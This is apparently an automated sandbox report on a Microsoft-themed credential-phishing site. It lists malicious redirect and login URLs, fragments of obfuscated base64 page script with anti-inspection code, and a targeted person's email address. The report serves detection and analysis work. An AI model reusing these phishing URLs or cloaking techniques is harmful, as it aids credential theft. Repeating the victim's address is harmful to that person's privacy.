Edit tour

Windows Analysis Report
https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA

Overview

General Information

Sample URL:	https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA
Analysis ID:	1431819
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Yara detected HtmlPhish54

HTML page contains suspicious base64 encoded javascript

HTML page contains suspicious iframes

Phishing site detected (based on logo match)

Detected hidden input values containing email addresses (often used in phishing pages)

Found iframes

HTML body contains low number of good links

HTML page contains hidden URLs or javascript code

HTML page contains obfuscate script src

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6544 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5428 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2344,i,12616628645249651757,12217795645111903713,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
3.7.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.10.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/owa/?login_hint=sheue%407haircare.com	Avira URL Cloud: Label: phishing
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX	Avira URL Cloud: Label: phishing
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?qrc=sheue%407haircare.com	Avira URL Cloud: Label: phishing
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3YtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImRvbWFpbiI6InYtZmJoeWxjdG42Z3Zjd29uY3RuNmd2Yy13aGliZXNpbGcyYm1ybHM5Y2Fzc2llLnRvcCIsImtleSI6Ikd3Wmx6djNqUGJZViIsInFyYyI6InNoZXVlQDdoYWlyY2FyZS5jb20iLCJpYXQiOjE3MTQwNzAyMTMsImV4cCI6MTcxNDA3MDMzM30.KjLJF5iiSFKdw41uUQwdDBQjolY0kxSFZb7HDP4uVI8	Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish54

Source: Yara match	File source: 3.7.pages.csv, type: HTML
Source: Yara match	File source: 4.8.pages.csv, type: HTML
Source: Yara match	File source: 4.10.pages.csv, type: HTML

HTML page contains suspicious base64 encoded javascript

Source: https://taisanji.jp/197006108922/#sheue@7haircare.com&

HTTP Parser: Base64 decoded: <script>

HTML page contains suspicious iframes

Source: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&

HTTP Parser: position:fixed;top:0;left:0;bottom:0;right:0;width:100%;height:100%;border:none;margin:0;padding:0;overflow:hidden;z-index:999999

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true

HTTP Parser: sheue@7haircare.com

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: Number of links: 0
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10	HTTP Parser: Number of links: 0

Source: https://taisanji.jp/197006108922/#sheue@7haircare.com&

HTTP Parser: Base64 decoded: <script> // disable right click document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function (e) { // disable F12 key if(e.keyCode == 123) { return false; } ...

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJT	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJT	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJT	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

HTTP Parser: <input type="password" .../> found

Source: https://taisanji.jp/197006108922/#sheue@7haircare.com&	HTTP Parser: No favicon
Source: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&	HTTP Parser: No favicon
Source: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&	HTTP Parser: No favicon
Source: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/?qrc=sheue@7haircare.com&	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal	HTTP Parser: No favicon
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==	HTTP Parser: No favicon
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No favicon
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No favicon
Source: https://outlook.office365.com/owa/prefetch.aspx	HTTP Parser: No favicon

Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10	HTTP Parser: No <meta 